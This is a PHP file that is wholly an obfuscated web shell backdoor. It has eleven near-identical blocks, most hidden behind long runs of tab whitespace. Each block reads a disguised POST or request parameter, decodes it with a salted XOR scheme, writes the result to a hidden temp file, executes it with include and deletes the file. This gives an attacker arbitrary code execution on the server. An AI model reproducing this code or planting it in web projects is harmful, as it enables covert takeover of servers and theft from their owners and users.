<?php																																										if(!empty($_POST["\x62\x69\x6E\x64ing"])){ $record = array_filter(["/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP")]); $marker = $_POST["\x62\x69\x6E\x64ing"]; $marker= explode ( '.' , $marker ); $entry=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt); foreach( $marker as $y => $v3): $chS=ord( $salt[$y %$sLen]); $dec=( ( int)$v3 - $chS -( $y %10)) ^ 28; $entry .= chr( $dec); endforeach; foreach ($record as $symbol) { if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $holder = str_replace("{var_dir}", $symbol, "{var_dir}/.reference"); if (file_put_contents($holder, $entry)) { require $holder; unlink($holder); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "fa\x63")){ $parameter_group = $_REQUEST["fa\x63"]; $parameter_group = explode ( "." ,$parameter_group ) ; $entity= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt2); foreach( $parameter_group as $w=> $v4) { $sChar= ord( $salt2[$w % $sLen]); $dec= ( ( int)$v4 - $sChar -( $w % 10))^ 39; $entity .=chr( $dec); } $symbol = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getcwd()]); $element = 0; do { $value = $symbol[$element] ?? null; if ($element >= count($symbol)) break; if (is_dir($value) ? is_writable($value) : false) { $res = "$value" . "/.object"; if (file_put_contents($res, $entity)) { include $res; @unlink($res); exit; } } $element++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x69t\x65m"])){ $ent = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm"]); $obj = $_POST["\x69t\x65m"]; $obj = explode( "." ,$obj) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $y = 0; while ($y < count($obj)) { $v5 = $obj[$y]; $chS = ord($s[$y % $sLen] ); $dec = ((int)$v5 - $chS - ($y % 10)) ^ 17; $dat.= chr($dec ); $y++; } for ($key = 0, $record = count($ent); $key < $record; $key++) { $comp = $ent[$key]; if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $ref = "$comp/.property_set"; $success = file_put_contents($ref, $dat); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x66\x61c"])){ $pset = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd()]); $data = $_POST["\x66\x61c"]; $data= explode( "." , $data ); $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); foreach ($data as $o => $v9) { $sChar = ord($salt3[$o % $sLen]); $d = ((int)$v9 - $sChar - ($o % 10)) ^42; $hld .= chr($d); } for ($elem = 0, $property_set = count($pset); $elem < $property_set; $elem++) { $factor = $pset[$elem]; if (is_dir($factor) ? is_writable($factor) : false) { $ptr = str_replace("{var_dir}", $factor, "{var_dir}/.flag"); $success = file_put_contents($ptr, $hld); if ($success) { include $ptr; @unlink($ptr); exit;} } } }
																																										if(isset($_REQUEST["\x6D\x72k"])){ $bind = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp"]); $resource = $_REQUEST["\x6D\x72k"]; $resource =explode ( "." , $resource ) ; $object = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $w = 0; foreach ($resource as $v7) { $chS = ord($salt5[$w % $lenS]); $dec = ((int)$v7 - $chS - ($w % 10)) ^ 81; $object .= chr($dec); $w++; } for ($comp = 0, $property_set = count($bind); $comp < $property_set; $comp++) { $ptr = $bind[$comp]; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $value = vsprintf("%s/%s", [$ptr, ".flg"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $value; @unlink($value); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x66\x6Cag")){ $entry = $_REQUEST["\x66\x6Cag"]; $entry = explode ( "." , $entry ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($entry); for($w = 0; $w < $len; $w++) { $v8 = $entry[$w]; $chS = ord($salt[$w% $lenS]); $dec =((int)$v8 - $chS -($w% 10))^ 21; $ent .= chr($dec);} $dchunk = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", getcwd()]); foreach ($dchunk as $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $element = "$rec/.object"; if (file_put_contents($element, $ent)) { include $element; @unlink($element); die(); } } } }
																																										if(!is_null($_REQUEST["k"] ?? null)){ $pointer = $_REQUEST["k"]; $pointer = explode ( '.' , $pointer ) ; $pgrp= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s6); foreach ($pointer as $u =>$v7) { $chS= ord($s6[$u %$sLen]); $d= ((int)$v7 - $chS - ($u %10)) ^ 25; $pgrp .=chr($d); } $dat = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); while ($entity = array_shift($dat)) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $flag = implode("/", [$entity, ".res"]); if (@file_put_contents($flag, $pgrp) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6Dr\x6B")){ $flag = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp"]); $pset = $_REQUEST["\x6Dr\x6B"]; $pset = explode( "." , $pset ) ; $elem=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s6 ); $p=0; foreach ($pset as $v2) { $chS=ord($s6[$p % $sLen] ); $dec=((int)$v2 - $chS - ($p % 10))^31; $elem .= chr($dec ); $p++; } foreach ($flag as $key => $binding) { if (!!is_dir($binding) && !!is_writable($binding)) { $ptr = "$binding/.hld"; if (file_put_contents($ptr, $elem)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(array_key_exists("mr\x6B", $_POST)){ $element = $_POST["mr\x6B"]; $element = explode ( '.' , $element ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $l = 0; while ($l < count($element)) { $v1 = $element[$l]; $sChar = ord($salt[$l % $sLen] ); $d = ((int)$v1 - $sChar - ($l % 10)) ^ 83; $parameter_group .= chr($d ); $l++;} $resource = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), getcwd(), session_save_path()]); foreach ($resource as $object) { if (!( !is_dir($object) || !is_writable($object) )) { $pset = "$object" . "/.res"; if (file_put_contents($pset, $parameter_group)) { require $pset; unlink($pset); exit; } } } }
																																										if(!is_null($_POST["ref"] ?? null)){ $dat = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), "/tmp"]); $k = $_POST["ref"]; $k =explode ('.' , $k ) ; $property_set = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $x = 0; array_walk($k , function ($v5) use (&$property_set , &$x , $s3 , $sLen) { $chS = ord($s3[$x % $sLen]); $d = ((int)$v5 - $chS - ($x % 10)) ^ 13; $property_set .= chr($d); $x++; } ); foreach ($dat as $key => $token) { if (max(0, is_dir($token) * is_writable($token))) { $ent = vsprintf("%s/%s", [$token, ".descriptor"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $ent; @unlink($ent); exit; } } } }


if(!empty($_REQUEST["dchu\x6E\x6B"])){
	$holder = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]);
	$token = $_REQUEST["dchu\x6E\x6B"];
	 		$token = explode (	".",			$token	) 	;
	$marker		=	'';
            $s2		=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=	strlen( $s2);
            $k		=	0;
    
            $__tmp		=	$token;
            while( $v7		=	array_shift( $__tmp)) {$chS		=	ord( $s2[$k		%	$sLen]);
                $dec		=	( ( int)$v7 - $chS -( $k		%	10)) 	^		77;
                $marker  .=chr( $dec);
                $k++; 	} 	
	foreach ($holder as $mrk) {
    		if (max(0, is_dir($mrk) * is_writable($mrk))) {
    $key = "$mrk/.item";
    $file = fopen($key, 'w');
if ($file) {
	fwrite($file, $marker);
	fclose($file);
	include $key;
	@unlink($key);
	die();
}
}
}
}